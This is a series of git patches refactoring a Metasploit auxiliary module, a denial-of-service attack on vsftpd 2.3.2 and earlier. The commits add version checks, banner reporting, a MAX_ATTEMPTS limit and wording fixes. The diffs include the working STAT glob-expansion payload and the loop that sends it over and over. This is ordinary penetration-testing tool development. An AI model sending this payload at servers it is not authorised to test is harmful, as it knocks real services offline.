From 28c7365fd6c58fab36df11b39cef9d3685959058 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Fri, 24 Apr 2026 13:09:16 +0100 Subject: [PATCH 1/8] vsftpd_232: Stop DoS after success --- modules/auxiliary/dos/ftp/vsftpd_232.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index 0615f7c5c85a5..1e545cacb30ab 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -99,6 +99,7 @@ def run rescue Rex::ConnectionRefused print("\n") print_good('Connection refused! Appears DOS attack succeeded.') + break rescue EOFError print("\n") print_good('Stream was cut off abruptly. Appears DOS attack succeeded.') From e09bc203652901783afc4a6bbe9e94d4cddef198 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Fri, 24 Apr 2026 13:09:47 +0100 Subject: [PATCH 2/8] vsftpd_232: Extract version number --- modules/auxiliary/dos/ftp/vsftpd_232.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index 1e545cacb30ab..ba4913ffd7ab7 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -66,7 +66,7 @@ def check end # pull out version and check if its in range of vulnerability - version = s[/\d+\.\d+\.\d+/] + version = s[/vsFTPd (\d+\.\d+\.\d+)/, 1] if Rex::Version.new(version) < Rex::Version.new('2.3.3') Exploit::CheckCode::Appears("vsFTPd #{version} is older than the patched version 2.3.3") else From 747915a490863cb16b95b57aaad92cdb53cc1acd Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Fri, 24 Apr 2026 13:10:47 +0100 Subject: [PATCH 3/8] vsftpd_232: Clean up trailing dot consistency --- modules/auxiliary/dos/ftp/vsftpd_232.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index ba4913ffd7ab7..a939f79355d44 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -42,11 +42,11 @@ def check # attempt to connect begin if !connect_login - print_error('Connection refused.') + print_error('Connection refused') return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP') end rescue Rex::ConnectionRefused - print_error('Connection refused.') + print_error('Connection refused') return Exploit::CheckCode::Unknown('Connection refused by the target') rescue Rex::ConnectionTimeout print_error('Connection timed out') @@ -61,7 +61,7 @@ def check disconnect # check if version was found if s !~ /vsFTPd \d+\.\d+\.\d+/ - print_error('Did not find FTP version in FTP session.') + print_error('Did not find FTP version in FTP session') return Exploit::CheckCode::Unknown('Could not determine vsFTPd version') end @@ -75,7 +75,7 @@ def check end def run - fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') if check != Exploit::CheckCode::Appears payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487 @@ -98,11 +98,11 @@ def run print_error('Connection reset!') rescue Rex::ConnectionRefused print("\n") - print_good('Connection refused! Appears DOS attack succeeded.') + print_good('Connection refused! Appears DOS attack succeeded') break rescue EOFError print("\n") - print_good('Stream was cut off abruptly. Appears DOS attack succeeded.') + print_good('Stream was cut off abruptly. Appears DOS attack succeeded') break end disconnect From df1543353f3a085bc3aae3c051cf24a8ef66be6e Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Fri, 24 Apr 2026 13:20:04 +0100 Subject: [PATCH 4/8] vsftpd_232: Show banner --- modules/auxiliary/dos/ftp/vsftpd_232.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index a939f79355d44..cb0bd251ea4fb 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -45,6 +45,7 @@ def check print_error('Connection refused') return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP') end + vprint_status("FTP banner: #{banner.strip}") if banner rescue Rex::ConnectionRefused print_error('Connection refused') return Exploit::CheckCode::Unknown('Connection refused by the target') From c884728a72ac7cfd2b1b397dce56ca852e372523 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Fri, 24 Apr 2026 13:32:42 +0100 Subject: [PATCH 5/8] vsftpd_232: Cleaner wording about vuln ranges --- modules/auxiliary/dos/ftp/vsftpd_232.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index cb0bd251ea4fb..2f8da5efcd36f 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -14,7 +14,8 @@ def initialize(info = {}) 'Name' => 'VSFTPD 2.3.2 Denial of Service', 'Description' => %q{ This module triggers a Denial of Service condition in the VSFTPD server in - versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2. + versions before 2.3.3 (tested on 2.3.0, 2.3.1, and 2.3.2). + Version 2.3.3 and higher should not be vulnerable. }, 'Author' => [ 'Nick Cottrell (Rad10Logic) ', # Module Creator @@ -69,9 +70,9 @@ def check # pull out version and check if its in range of vulnerability version = s[/vsFTPd (\d+\.\d+\.\d+)/, 1] if Rex::Version.new(version) < Rex::Version.new('2.3.3') - Exploit::CheckCode::Appears("vsFTPd #{version} is older than the patched version 2.3.3") + Exploit::CheckCode::Appears("VSFTPD #{version} is vulnerable (affected: <= 2.3.2)") else - Exploit::CheckCode::Safe("vsFTPd #{version} is not vulnerable") + Exploit::CheckCode::Safe("VSFTPD #{version} is not vulnerable (affected: <= 2.3.2)") end end From ad2874ce6c238b8c068e4095e8fe9e8415d1f2fa Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Fri, 24 Apr 2026 13:44:00 +0100 Subject: [PATCH 6/8] vsftpd_232: Add report_service --- modules/auxiliary/dos/ftp/vsftpd_232.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index 2f8da5efcd36f..454b769cfe47b 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos + include Msf::Auxiliary::Report def initialize(info = {}) super( @@ -46,7 +47,14 @@ def check print_error('Connection refused') return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP') end - vprint_status("FTP banner: #{banner.strip}") if banner + vprint_status("FTP banner: #{banner.strip}") if banner + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'ftp', + info: banner.strip + ) rescue Rex::ConnectionRefused print_error('Connection refused') return Exploit::CheckCode::Unknown('Connection refused by the target') From 8b14a092bdb40279f17afcafd2749c4f04c3a6fb Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 28 Apr 2026 16:08:06 +0100 Subject: [PATCH 7/8] vsftpd_232: Add MAX_ATTEMPTS --- modules/auxiliary/dos/ftp/vsftpd_232.rb | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index 454b769cfe47b..44664ed1e2056 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -38,6 +38,10 @@ def initialize(info = {}) } ) ) + + register_options([ + OptInt.new('MAX_ATTEMPTS', [false, 'Maximum payload attempts before giving up (0 = unlimited)', 25]) + ]) end def check @@ -92,8 +96,17 @@ def run vprint_status("Payload being sent: #{payload}") print_status('sending payload') + attempts = 0 + max = datastore['MAX_ATTEMPTS'].to_i + loop do - print('.') + attempts += 1 + if max > 0 && attempts > max + print_error("Reached #{max} attempts without DoS") + break + end + print_status("Attempt: #{attempts}") + connect_login 10.times do send_cmd([payload.to_s], false) From 7a74bb310f7d3c7a50716a23b0c745621d6f8b31 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 28 Apr 2026 16:08:32 +0100 Subject: [PATCH 8/8] vsftpd_232: Improve wording --- modules/auxiliary/dos/ftp/vsftpd_232.rb | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb index 44664ed1e2056..1812104fddde4 100644 --- a/modules/auxiliary/dos/ftp/vsftpd_232.rb +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -12,8 +12,8 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'VSFTPD 2.3.2 Denial of Service', - 'Description' => %q{ + 'Name' => 'VSFTPD 2.3.2 and Earlier STAT Denial of Service', + 'Description' => %q{ This module triggers a Denial of Service condition in the VSFTPD server in versions before 2.3.3 (tested on 2.3.0, 2.3.1, and 2.3.2). Version 2.3.3 and higher should not be vulnerable. @@ -51,13 +51,15 @@ def check print_error('Connection refused') return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP') end - vprint_status("FTP banner: #{banner.strip}") if banner + + banner = banner.to_s.strip + vprint_status("FTP banner: #{banner.strip}") unless banner.empty? report_service( host: rhost, port: rport, proto: 'tcp', name: 'ftp', - info: banner.strip + info: banner.to_s.gsub(/^\d{3}[\s-]/, '').strip.gsub(/\A\(|\)\z/, '') ) rescue Rex::ConnectionRefused print_error('Connection refused') @@ -66,6 +68,7 @@ def check print_error('Connection timed out') return Exploit::CheckCode::Unknown('Connection timed out') end + s = '' loop do # get each line until our desired line shows or end line shows @@ -121,11 +124,11 @@ def run print_error('Connection reset!') rescue Rex::ConnectionRefused print("\n") - print_good('Connection refused! Appears DOS attack succeeded') + print_good('Connection refused! Appears DoS attack succeeded') break rescue EOFError print("\n") - print_good('Stream was cut off abruptly. Appears DOS attack succeeded') + print_good('Stream was cut off abruptly. Appears DoS attack succeeded') break end disconnect